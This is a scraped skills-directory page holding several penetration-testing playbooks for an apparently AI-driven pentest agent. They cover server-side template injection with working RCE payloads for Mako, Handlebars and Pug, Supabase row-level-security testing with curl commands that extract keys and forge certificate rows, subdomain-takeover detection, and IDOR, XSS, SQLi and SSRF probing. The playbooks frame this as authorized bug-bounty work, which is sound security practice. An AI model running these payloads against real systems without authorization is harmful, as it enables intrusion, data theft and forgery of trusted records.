<% import os; x=os.popen('id').read() %>${x}

Handlebars (Node)

{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.push "return require('child_process').execSync('id');"}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push (lookup conslist.0 "apply")}}
        {{this.apply 0 codelist}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

Pug / Jade (Node)

#{ root.process.mainModule.require('child_process').execSync('id').toString() }

3. Sandbox escape thinking

If {{7*7}} works but exec is blocked:

  • Try filter chains and pipes that hand off through string types (Twig).
  • Try indirect-attribute access (['__class__'] instead of .__class__).
  • Try Unicode escapes on the dangerous keyword ({{ ''.__class__ }}).
  • Read the engine's source for the relevant version — most "sandboxes" have a documented escape.

4. Blind SSTI

If the rendered template never returns to you (sent in email, server-to-server message), confirm with side-channels:

  • DNS callback via OS exec.
  • HTTP callback to an out-of-band listener.
  • Timing: render an expensive loop and measure response delay.

Reporting

For each finding include:

  • The exact input field where the payload landed.
  • The fingerprint output ({{7*7}}49 etc) — proves it's SSTI not arithmetic on the client.
  • An exec PoC (id output preferred) OR, if RCE is gated, a clear sensitive-data read (env vars, config file).
  • Engine + version inferred and from where.
针对Supabase项目的RLS安全测试指南。通过前端提取密钥,利用PostgREST验证匿名用户的SELECT披露与INSERT/UPDATE/DELETE滥用风险,严格限制为单行PoC操作以合规审计。
目标前端包含supabase.co域名或anon JWT 发现/rest/v1/, /auth/v1/, /storage/v1/接口请求 需要测试Row-Level-Security配置缺陷
skills/supabase/SKILL.md
npx skills add PentesterFlow/agent --skill supabase -g -y
SKILL.md
Frontmatter
{
    "name": "supabase",
    "description": "Supabase \/ PostgREST Row-Level-Security playbook — pull the anon (or leaked service_role) key out of the frontend JS, map tables from the auto-generated OpenAPI spec, test anonymous RLS READ disclosures (PII\/secret leaks), and anonymous RLS WRITE abuse (insert\/update\/delete — e.g. forging \"certificate\"\/verification\/entitlement rows the app trusts). Use when the target's frontend talks to *.supabase.co, ships an anon JWT, or you see \/rest\/v1\/, \/auth\/v1\/, \/storage\/v1\/ requests.",
    "allowed-tools": [
        "http",
        "shell",
        "web_fetch",
        "grep",
        "file_write",
        "read_payloads",
        "confirm_finding"
    ]
}

Supabase RLS playbook

Supabase exposes PostgreSQL directly to the browser through PostgREST (/rest/v1/), GoTrue auth (/auth/v1/), and Storage (/storage/v1/). The browser authenticates with a public anon JWT, and the only thing standing between an anonymous attacker and the database is Row-Level Security (RLS) policies. Misconfigured or missing RLS is the entire bug class:

  • RLS disclosureSELECT on a table returns rows it shouldn't (PII, tokens, other tenants).
  • RLS write abuseINSERT / UPDATE / DELETE succeeds anonymously, so you can forge records the application trusts (a "certificate" / verification / license / entitlement row, an admin flag, a balance, someone else's data).

Authorized targets only. Treat the database as production: read a single marker row to prove disclosure, write ONE clearly-labelled marker row to prove write, then clean up. Never dump whole tables of real PII, never mass-modify, never DELETE real rows. The PoC is "I read/wrote one row I shouldn't be able to", not "I exfiltrated the customer base".

Execution rule: substitute the real Supabase project ref, anon key, table, and marker IDs before running commands. Never write literal placeholders such as <ref>, <table>, <col>, or <returned-id> to files; if a value is unknown, discover it first or ask once.


0. Find the project URL + anon key in the frontend JS

The project ref and anon key are meant to be public — they ship in the client bundle. You need both before you can talk to the API.

# Pull the main page + every script it references, then grep for the markers.
curl -ksS "https://TARGET/" -o /tmp/sb_index.html
grep -oE 'src="[^"]+\.js"' /tmp/sb_index.html | sed 's/src="//;s/"//' > /tmp/sb_js.txt
# Fetch each bundle (use the http/web_fetch tool or curl) into /tmp/sb_bundles/ ...

Grep the HTML and every JS bundle for:

# Project URL — gives you <ref>.supabase.co
grep -roE 'https://[a-z0-9]{20}\.supabase\.co' /tmp/sb_bundles/ | sort -u
grep -roiE 'supabase[._-]?url["'\'' :=]+[^"'\'' ,)]+'   /tmp/sb_bundles/

# Anon / service_role key — a JWT (eyJ...). Supabase keys decode to {"role":"anon"|"service_role"}
grep -roE 'eyJ[A-Za-z0-9_-]+\.eyJ[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+' /tmp/sb_bundles/ | sort -u
grep -roiE 'supabase[._-]?(anon[._-]?)?key["'\'' :=]+[^"'\'' ,)]+' /tmp/sb_bundles/
grep -roiE 'createClient\([^)]*\)' /tmp/sb_bundles/

Also worth checking: .env / .env.local left on the host, /_next/static/, source maps (*.js.map), config.js, and window.__SUPABASE__ / __NEXT_DATA__ JSON blobs.

Decode every JWT you find — this is the most important triage step

echo "<jwt-payload-b64url>" | tr '_-' '/+' | base64 -d 2>/dev/null | jq .
  • "role":"anon" → the normal public key. RLS is the only protection. This is expected to be public — its presence is NOT a finding by itself. The finding is what it can do.
  • "role":"service_role"CRITICAL on its own. The service_role key bypasses RLS entirely. If it shipped to the browser (or any client-reachable place), that's a full-database read/write disclosure — report immediately, do not need any RLS hole.
  • Note ref / iss (the project ref) and exp.

Save them for reuse:

SB="https://<ref>.supabase.co"
KEY="eyJ...<anon key>..."

1. Map the database from the OpenAPI spec (disclosure with zero rows)

PostgREST publishes a Swagger/OpenAPI document at the REST root. It lists every table and column the anon role can see — a schema disclosure even before you read any data.

curl -ksS "$SB/rest/v1/" -H "apikey: $KEY" | jq '.definitions | keys'
# or the paths:
curl -ksS "$SB/rest/v1/" -H "apikey: $KEY" | jq '.paths | keys'

If you get a schema back, record the table names. No spec? Brute a small list of likely tables: read_payloads(skill="supabase", file="common-tables.txt") and probe each with a HEAD/limit=1 read (next section). Pay attention to names that imply trust: certificates, verifications, licenses, entitlements, subscriptions, kyc, documents, invites, roles, admins.


2. RLS READ disclosure — what can anon SELECT?

Every PostgREST call needs both headers:

curl -ksS "$SB/rest/v1/<table>?select=*&limit=1" \
  -H "apikey: $KEY" -H "Authorization: Bearer $KEY"

Interpret the response:

Response Meaning
200 + JSON rows Readable by anon. If the table holds PII/secrets/other tenants → disclosure finding.
200 + [] RLS is filtering you out or the table is empty. Add no filter / a known id to disambiguate.
401 / "No API key found" Missing/!invalid apikey header.
404 Table not exposed in this schema.
403 + code 42501 "permission denied" RLS (or grants) are blocking — good, that table is protected.

Techniques once a table is readable:

# Confirm it's REAL data, not your own row: count, and pull distinct owner ids.
curl -ksS "$SB/rest/v1/<table>?select=count" -H "apikey: $KEY" -H "Authorization: Bearer $KEY" \
     -H "Prefer: count=exact" -I        # Content-Range header shows total rows

# Cross-tenant: read a row you do NOT own (e.g. a different user_id) to prove RLS isn't scoping.
curl -ksS "$SB/rest/v1/profiles?select=id,email,phone&user_id=eq.<someone-elses-uuid>" \
     -H "apikey: $KEY" -H "Authorization: Bearer $KEY"

# Column-level: even if rows are scoped, a permissive policy may expose secret columns.
curl -ksS "$SB/rest/v1/users?select=id,email,stripe_customer_id,api_token&limit=1" \
     -H "apikey: $KEY" -H "Authorization: Bearer $KEY"

Impact for the report: read ONE record proving you can see data you shouldn't (another user's email/PII, an API token, a private document URL). Quote the row count from Content-Range to show scale without dumping it.


3. RLS WRITE abuse — anonymous record forgery

This is the high-severity case: a missing/permissive INSERT/UPDATE policy lets anon create or mutate rows the application later trusts. "Certificate forgery" is the canonical example — a certificates (or verifications / licenses / badges / entitlements) table that the app renders as proof-of-something, with an INSERT policy of true (or no RLS at all).

3a. Probe for write — INSERT a labelled marker

curl -ksS -X POST "$SB/rest/v1/<table>" \
  -H "apikey: $KEY" -H "Authorization: Bearer $KEY" \
  -H "Content-Type: application/json" \
  -H "Prefer: return=representation" \
  -d '{"<col>":"PENTEST-MARKER-do-not-trust"}'
Response Meaning
201 + the inserted row echoed back Anonymous write confirmed. Forgery is possible.
400 "null value in column ... violates not-null" / "column ... does not exist" Write is allowed — you just missed required columns. Add them and retry; this is still a finding.
403 42501 "new row violates row-level security policy" RLS WITH CHECK is blocking — protected.
401 bad/missing key headers.

Prefer: return=representation makes PostgREST echo the created row (including DB-assigned id/created_at), which is your proof.

3b. Forge the trusted record (the actual exploit)

Once INSERT works, populate the columns the app relies on to forge a record. For a certificate table that means a believable, attacker-controlled "valid" entry:

curl -ksS -X POST "$SB/rest/v1/certificates" \
  -H "apikey: $KEY" -H "Authorization: Bearer $KEY" \
  -H "Content-Type: application/json" -H "Prefer: return=representation" \
  -d '{
        "holder_name":"PENTEST Forged Holder",
        "credential":"PENTEST-FORGED — proof of anon RLS write",
        "status":"valid",
        "issued_at":"2025-01-01T00:00:00Z"
      }'

Then verify the forgery end-to-end: load the public verification page / API the app uses to check certificates and confirm it now reports your forged row as genuine ($SB/rest/v1/certificates?id=eq.<returned-id> or the app's own /verify/<id> route). That "the app trusts my forged record" step is what turns this from a raw write into a real impact.

3c. UPDATE / DELETE (privilege escalation, tampering)

# Flip your own role / a flag the app trusts — only if you can target a row you shouldn't own.
curl -ksS -X PATCH "$SB/rest/v1/profiles?id=eq.<your-id>" \
  -H "apikey: $KEY" -H "Authorization: Bearer $KEY" \
  -H "Content-Type: application/json" -H "Prefer: return=representation" \
  -d '{"role":"admin"}'

Only run PATCH/DELETE against rows you created (your marker, your own account). A successful PATCH on a column like role/is_admin/balance/verified is a privilege- escalation finding; demonstrate it on your own row rather than mutating real users.

3d. Clean up

Delete every marker/forged row you created and note in the report that you did:

curl -ksS -X DELETE "$SB/rest/v1/<table>?id=eq.<your-marker-id>" \
  -H "apikey: $KEY" -H "Authorization: Bearer $KEY"

4. Adjacent Supabase surfaces (check while you're here)

  • RPC / SECURITY DEFINER functions: POST $SB/rest/v1/rpc/<fn> with {} — definer functions run with elevated rights and often skip RLS. Enumerate from the OpenAPI paths.
  • Open signup → authenticated role: POST $SB/auth/v1/signup ({"email","password"}). Some policies grant far more to authenticated than anon; getting a real session token may unlock tables that were closed to anon. Use a throwaway address.
  • Storage: GET $SB/storage/v1/object/list/<bucket> (with the key) and public objects at $SB/storage/v1/object/public/<bucket>/<path>. Public buckets full of private files are a common disclosure.
  • Prefer: count=exact + Content-Range quantifies any readable table without dumping it.

5. Triers, severity & reporting

Severity guide (map to the program's scale; Bugcrowd VRT-style P-levels):

  • Leaked service_role key reachable by clients → P1/critical (full DB read+write, RLS bypass).
  • Anonymous write/forgery of a trusted record, or UPDATE of a privilege/trust column → P1–P2.
  • Anonymous read of other users' PII / secrets / tokens → P2–P3 (scale + sensitivity).
  • Schema disclosure only (OpenAPI lists tables/columns, no readable rows) → P4/low / informational.

Before you call confirm_finding, you MUST have:

  1. The exact request (method, URL, headers shown with the key redacted to apikey: <anon>) and the response proving it.
  2. For writes: the echoed id of the row you created and evidence the app trusts it, and confirmation you deleted it.
  3. Concrete impact in one sentence ("any anonymous visitor can forge a certificate the /verify page accepts as valid").

Remediation to include: enable RLS on every exposed table (ALTER TABLE ... ENABLE ROW LEVEL SECURITY;), write explicit USING/WITH CHECK policies scoped to auth.uid(), never expose write to anon, keep service_role server-side only, and lock down SECURITY DEFINER RPCs.

When you have a reproduced finding with a real request/response and impact, call confirm_finding.

用于检测子域名接管漏洞。通过枚举子域名,识别指向未占用第三方资源的悬空CNAME/NS记录,结合HTTP指纹确认风险,并在授权范围内证明影响。
子域名接管检测 悬空CNAME分析 DNS记录安全审计
skills/takeover/SKILL.md
npx skills add PentesterFlow/agent --skill takeover -g -y
SKILL.md
Frontmatter
{
    "name": "takeover",
    "description": "Subdomain takeover playbook — sweep subdomains for dangling CNAMEs \/ NS records pointing at unclaimed third-party resources (GitHub Pages, S3, Heroku, Azure, Netlify, Shopify, ...), confirm with the engine's HTTP fingerprint, then prove impact by claiming the resource in scope. Use when enumerating subdomains for dangling CNAME\/NS records pointing at unclaimed third-party services.",
    "allowed-tools": [
        "http",
        "shell",
        "read_payloads",
        "file_write"
    ]
}

Subdomain takeover playbook

A subdomain points (via CNAME, NS, or an A record on a shared host) at a third-party service. The resource on that service was deleted, expired, or never claimed — but the DNS record still exists. An attacker registers the same resource on the provider and serves arbitrary content on the victim's hostname. Severity is usually high to critical because the takeover puts the attacker inside the victim's origin (cookie scope, CSP allowlists, OAuth redirect_uri allowlists, SAML SP entity IDs, email DKIM/SPF includes, ...).

Stay in scope. Only test takeovers against domains the program explicitly authorizes. A successful takeover is serving content on someone else's host — drop a benign HTML file (takeover proof for <handle>, contact <email>) and stop.

Execution rule: operate on real subdomains and provider fingerprints from the scoped program. Never write literal placeholders such as <provider>, <handle>, or <email> to files; ask once for proof text if a provider requires a claim page.

1. Enumerate every subdomain

Use whatever recon you have. Curl-first sources you can hit without extra tooling:

# CT logs via crt.sh
curl -s 'https://crt.sh/?q=%25.target.example.com&output=json' \
  | jq -r '.[].name_value' | sed 's/^\*\.//' | sort -u > subs.txt

# Anubis-DB
curl -s 'https://jldc.me/anubis/subdomains/target.example.com' \
  | jq -r '.[]' >> subs.txt

# Hackertarget (rate-limited)
curl -s 'https://api.hackertarget.com/hostsearch/?q=target.example.com' \
  | cut -d, -f1 >> subs.txt

sort -u subs.txt -o subs.txt

If [[recon]] is loaded, prefer those flows for the enumeration step.

2. Resolve each name — CNAME first, then A/AAAA

# Pull CNAMEs in one batch (works on macOS/Linux with dig)
while read -r sub; do
  cname=$(dig +short CNAME "$sub" | head -n1)
  if [ -n "$cname" ]; then printf '%s\tCNAME\t%s\n' "$sub" "$cname"; fi
done < subs.txt > resolved.tsv

# NS delegation (rare but high-severity)
while read -r sub; do
  ns=$(dig +short NS "$sub")
  if [ -n "$ns" ]; then printf '%s\tNS\t%s\n' "$sub" "$(echo "$ns" | tr '\n' ',')"; fi
done < subs.txt >> resolved.tsv

You're looking for:

  • CNAME → third-party provider (e.g. app.target.com → app.elasticbeanstalk.com) where the resource at that provider is unclaimed.
  • NS → vanished zone (zone.target.com NS ns1.dnsmadeeasy.com where the zone no longer exists on dnsmadeeasy).
  • CNAME → NXDOMAIN — the cleanest signal: the CNAME target itself doesn't resolve. Always investigate.
# Find CNAMEs whose target doesn't resolve at all
awk -F'\t' '$2=="CNAME" {print $3}' resolved.tsv | while read -r t; do
  dig +short "$t" >/dev/null 2>&1 || echo "$t (NXDOMAIN target)"
done

3. Match HTTP fingerprints

Pull the full fingerprint database:

read_payloads(skill="takeover", file="fingerprints.json")

The JSON Lines file lists, for each provider:

  • service — human label.
  • cname — regex of the target hostname.
  • statusvulnerable / edge-case / not-vulnerable.
  • fingerprint — string to grep for in the HTTPS response body.
  • http_status — typical status code (404, 200, etc.).
  • notes — claim-flow gotchas.

For each CNAME match, fetch the response and grep:

# Example: subdomain points at GitHub Pages
curl -sk -H "Host: lost.target.com" https://lost.target.com/ \
  | grep -F "There isn't a GitHub Pages site here."

A hit on status: vulnerable plus the fingerprint in the response body is the takeover signal. Don't trust the fingerprint alone — many providers serve the same string on a legitimately-not-yet-deployed site that's still claimed by the owner. Confirm-step (4) is mandatory.

4. Confirm before reporting

The trap: the resource may be unclaimed by anyone visible to you, but the legitimate owner may still hold it via an account you can't see (e.g. the Heroku app exists in their account but is paused). False-positive report rates on subdomain takeover are notorious.

Confirmation paths, in order of preference:

  1. Out-of-band canary. Attempt to register the resource (e.g. create a Heroku app named lost-target). If the provider says "name taken" without serving you the fingerprint, it's a false positive — someone has it.

  2. Successful claim + benign content. When the registration succeeds, serve a static HTML file proving ownership:

    <!doctype html>
    <title>Subdomain Takeover PoC</title>
    <h1>Subdomain Takeover</h1>
    <p>This subdomain (<code>lost.target.com</code>) was claimable on
       <em>&lt;provider&gt;</em> by anyone. Reported by &lt;handle&gt;
       to &lt;program&gt;. Contact: &lt;email&gt;.</p>
    

    Fetch the subdomain again over HTTPS — your content must come back.

  3. Screenshot + curl response in the report.

Do NOT:

  • Serve real-looking content (login forms, fake updates).
  • Run any script in the page.
  • Hold the resource beyond what's needed for the PoC; release it after the report is triaged.
  • Use takeovers to phish, even for "research."

5. NS takeover (variant)

If a subdomain delegates DNS to a third-party provider via NS records and the zone is unclaimed on that provider, you control all records under the subdomain — far more dangerous than a single CNAME takeover. Common providers seen here: DNSMadeEasy, Bizland, EasyDNS, Yahoo Small Business, NS1, Hurricane Electric, MyDomain, Domain.com.

Detection: dig NS sub.target.com returns a provider's nameservers, but querying those nameservers for the zone returns REFUSED or SERVFAIL.

for ns in $(dig +short NS sub.target.com); do
  echo "=== $ns ==="
  dig @"$ns" sub.target.com SOA
done

A REFUSED/SERVFAIL from all of the listed nameservers, combined with the provider being one that lets you create zones with arbitrary names, is the takeover primitive.

6. Key engines (quick reference — full DB in payloads)

Service CNAME pattern Fingerprint substring Status
GitHub Pages *.github.io There isn't a GitHub Pages site here. vulnerable
Heroku *.herokuapp.com, *.herokudns.com No such app / There's nothing here, yet. vulnerable
AWS S3 (website) *.s3-website-*.amazonaws.com, *.s3.amazonaws.com NoSuchBucket vulnerable
Azure App Service *.azurewebsites.net 404 Web Site not found. vulnerable
Azure Cloud Service *.cloudapp.net, *.cloudapp.azure.com 404 Web Site not found. vulnerable
Azure Traffic Manager *.trafficmanager.net NXDOMAIN on profile vulnerable
Azure Storage *.blob.core.windows.net NXDOMAIN vulnerable
Azure CDN *.azureedge.net NXDOMAIN / Bad Request edge-case
Netlify *.netlify.app, *.netlify.com Not Found - Request ID vulnerable
Heroku SSL endpoint *.herokussl.com varies edge-case
Vercel / Now *.vercel.app, cname.vercel-dns.com 404: NOT_FOUND / The deployment could not be found edge-case
Shopify *.myshopify.com Sorry, this shop is currently unavailable. vulnerable
Tumblr *.tumblr.com (custom domain) Whatever you were looking for doesn't currently exist at this address. vulnerable
Surge.sh *.surge.sh project not found vulnerable
Ghost *.ghost.io The thing you were looking for is no longer here, or never was vulnerable
Pantheon *.pantheonsite.io The gods are wise, but do not know of the site which you seek. vulnerable
Squarespace various No Such Account / Squarespace - No Such Account edge-case
Tilda *.tilda.ws Please renew your subscription vulnerable
Unbounce *.unbouncepages.com The requested URL was not found on this server. vulnerable
UserVoice *.uservoice.com This UserVoice subdomain is currently available! vulnerable
Strikingly *.s.strikinglydns.com PAGE NOT FOUND. vulnerable
Helpjuice *.helpjuice.com We could not find what you're looking for. vulnerable
HelpScout *.helpscoutdocs.com No settings were found for this company: vulnerable
Bitbucket *.bitbucket.io Repository not found vulnerable
Cargo Collective *.cargocollective.com If you're moving your domain away from Cargo vulnerable
Statuspage *.statuspage.io You are being redirected. (302 to statuspage 404) edge-case
Acquia *.acquia-sites.com The site you are looking for could not be found. vulnerable
Aha *.aha.io There is no portal here ... sending you back to Aha! vulnerable
Anima *.animaapp.io If this is your website and you've just created it vulnerable
Brightcove various <p class="bc-gallery-error-code">Error Code: 404</p> vulnerable
Campaign Monitor createsend.com Trying to access your account? vulnerable
Canny *.canny.io Company Not Found vulnerable
Fastly *.fastly.net Fastly error: unknown domain edge-case
Frontify *.frontify.com Brand not found vulnerable
Gemfury *.fury.site 404: This page could not be found. vulnerable
GetResponse varies With GetResponse Landing Pages, lead generation has never been easier vulnerable
Hatena Blog hatenablog.com Japanese error string vulnerable
HelpRescue *.helprace.com Help Center Closed edge-case
JetBrains *.youtrack.cloud is not a registered InCloud YouTrack vulnerable
Kinsta *.kinsta.cloud No Site For Domain edge-case
LaunchRock *.launchrock.com It looks like you may have taken a wrong turn somewhere. vulnerable
Mashery *.mashery.com Unrecognized domain edge-case
Pingdom *.stats.pingdom.com pingdom page edge-case
Proposify *.proposify.com If you need immediate assistance vulnerable
Readme *.readme.io Project doesnt exist... yet! vulnerable
SendGrid varies parked landing edge-case
ShortIO *.shortio.app 404, please check the URL. vulnerable
Smartling *.smartling.com Domain is not configured vulnerable
Thinkific *.thinkific.com You may have mistyped the address or the page may have moved. vulnerable
Uberflip *.uberflip.com The page you are looking for is not found vulnerable
Vend *.vendecommerce.com Looks like you've traveled too far into cyberspace. vulnerable
Webflow proxy-ssl.webflow.com The page you are looking for doesn't exist or has been moved. vulnerable
Wishpond varies https://www.wishpond.com/404?campaign= vulnerable
Wordpress *.wordpress.com Do you want to register edge-case
WP Engine *.wpengine.com The site you were looking for couldn't be found. edge-case
Worksites varies Hello! Sorry, but the website you’re looking for doesn’t exist. vulnerable
Cloudfront *.cloudfront.net The request could not be satisfied edge-case
Google Cloud Storage *.storage.googleapis.com NoSuchBucket vulnerable

The full database — including HTTP status codes, claim notes, and edge-case explanations for every entry — is in payloads/fingerprints.json (see the read_payloads invocation in section 3).

7. Tooling shortcuts (when available)

If you have these installed, they automate sections 1–3:

  • subjack — Go scanner with built-in fingerprints. subjack -w subs.txt -t 100 -timeout 30 -ssl -c fingerprints.json -v
  • subzy — newer alternative.
  • nucleinuclei -l subs.txt -tags takeover runs the community templates.
  • tko-subs — also script-based.
  • aquatone — screenshots + detection in one pass.

You do not need any of these to do the work; sections 2–4 are do-able with dig + curl + the JSON fingerprint file.

8. Reporting

For each confirmed takeover:

  • Vulnerable subdomain (lost.target.com).
  • DNS resolution path (lost.target.com CNAME bucket.s3.amazonaws.com → unclaimed).
  • The exact provider + service.
  • HTTP response showing the fingerprint (curl one-liner + body excerpt).
  • PoC: your claimed resource serving a benign proof file.
  • Impact paragraph specific to the engagement: which cookies, CSP rules, OAuth redirect_uri lists, SAML entity IDs, mail SPF/DKIM, or session domains include the parent — that's where the severity comes from.
  • Remediation: remove the dangling DNS record OR re-claim the resource.
  • Suggested severity: critical when the parent's auth cookies / SSO / payment flows reach the subdomain; high otherwise.

Release the claimed resource after the program triages.

Web漏洞狩猎手册,用于对特定主机进行IDOR、注入、认证缺陷及已知CVE的手动测试。强调使用curl生成真实PoC和具体影响声明,避免盲目使用重型扫描器,确保发现的可验证性。
收到具体目标URL或端点 完成侦察阶段后 需要手动验证已知CVE
skills/webvuln/SKILL.md
npx skills add PentesterFlow/agent --skill webvuln -g -y
SKILL.md
Frontmatter
{
    "name": "webvuln",
    "description": "Web vulnerability hunting playbook. Use after recon, when you have specific hosts\/endpoints to test for IDOR\/BAC, injection, auth flaws, SSRF, and known CVEs. Emphasizes real PoC + concrete impact.",
    "allowed-tools": [
        "shell",
        "http",
        "web_search",
        "web_fetch",
        "file_write"
    ]
}

Web vuln hunting playbook

You are testing specific endpoints the user has handed you (or that came out of the recon skill). Every finding must come with a real PoC and a concrete impact statement — no theoretical bugs.

Default to curl and the built-in http tool. Do not pull in heavy scanners (nuclei, sqlmap, ffuf, etc.) unless the user explicitly asks for them or you have manually confirmed a bug and need a scanner only to characterize the bug class.

Execution rule: substitute real target values before running commands. Never write literal placeholders such as <TARGET>, <vulnerable-path>, or <PoC body> to files. If a value is unknown, ask once or derive it from /target.

1. Triage the target

Fetch the landing page with the http tool or curl. Note:

  • Framework / language signals (cookies, headers, error pages)
  • Authentication scheme (cookie, Bearer, basic)
  • API style (REST / GraphQL / gRPC)
  • Anything that suggests a known CVE family (versioned banner, vendor product name)

If you spot a versioned product, immediately web_search "<product> <version> CVE" and web_fetch the top advisory. Reproduce the CVE manually with curl before reporting.

2. Known-CVE pass (manual, curl-driven)

For each suspected CVE pulled from the advisory, craft the curl that proves it — single request when possible:

TARGET="https://app.example.com" # replace with the scoped target before running
curl -ksS -X POST "$TARGET/vulnerable-path" \
  -H 'Content-Type: application/json' \
  -d '{"replace":"with-real-poc-body"}' \
  -w "\nHTTP %{http_code}  size=%{size_download}  time=%{time_total}\n"

If the advisory describes a recognizable pattern (template injection, deserialization, etc.) and the user has explicitly authorized broader scanning, then — and only then — reach for nuclei against the single host. Otherwise stay manual.

3. Auth + access control (IDOR / BAC)

  • Identify any numeric or UUID identifiers in the URL path or query (/api/users/12345, /orders/?id=...).
  • With user-provided session A, fetch a resource you own.
  • Swap the identifier to another user's value (or use a second session from the user) and replay with curl or the http tool.
  • A 200 with foreign data = IDOR. Capture the curl one-liner and the response excerpt into findings/idor-<endpoint>.txt.

Example IDOR sweep with two sessions:

TARGET="https://app.example.com" # replace with the scoped target before running
for id in $(seq 1 50); do
  body=$(curl -ksS -H "Cookie: $SESSION_B" "$TARGET/api/users/$id" | jq -r '.email // empty')
  [ -n "$body" ] && echo "$id $body"
done

4. Injection surfaces (curl-first)

For each parameter (query, body, header, cookie):

  • Inject simple probes (', ", <x>, ${7*7}, {{7*7}}) with curl or the http tool.
  • 500s / reflected payloads / arithmetic evaluation → escalate to a targeted PoC.

Quick reflected-XSS probe with curl:

TARGET="https://app.example.com" # replace with the scoped target before running
for p in q s search query keyword; do
  curl -ksS "$TARGET/?$p=pf$(date +%s)<svg/onload=alert(1)>" \
    | grep -o "pf[0-9]*<svg.*alert(1)>" || true
done

For SQLi: only after curl-level manual confirmation (timing differences, error strings) and only with the user's explicit OK, escalate to sqlmap with --batch --level=2 --risk=1 --random-agent against the single endpoint. Default path is manual ' OR sleep(5) -- style probes via curl, then exfil via UNION when you know the schema.

5. SSRF & open redirects

Any parameter that takes a URL or hostname: try http://127.0.0.1, http://169.254.169.254/latest/meta-data/, and an out-of-band canary the user provides. Compare response timings and bodies with curl -w "%{time_total} %{size_download}\n".

6. Report

For each confirmed finding, write findings/<id>-<short-title>.md with:

  • Title, severity (VRT-aligned), category
  • Affected endpoint(s)
  • Step-by-step reproduction as the exact curl one-liner the reviewer can copy (with placeholders for session tokens)
  • Observed response excerpt proving the bug
  • Concrete impact (what data is exposed, what state can be changed, what privilege is escalated)
  • Suggested remediation

Stop after writing the report. Do not chain into further exploitation unless the user explicitly asks.

ホーム - Wiki
Copyright © 2011-2026 iteam. Current version is 2.155.2. UTC+08:00, 2026-07-22 20:39
浙ICP备14020137号-1 $お客様$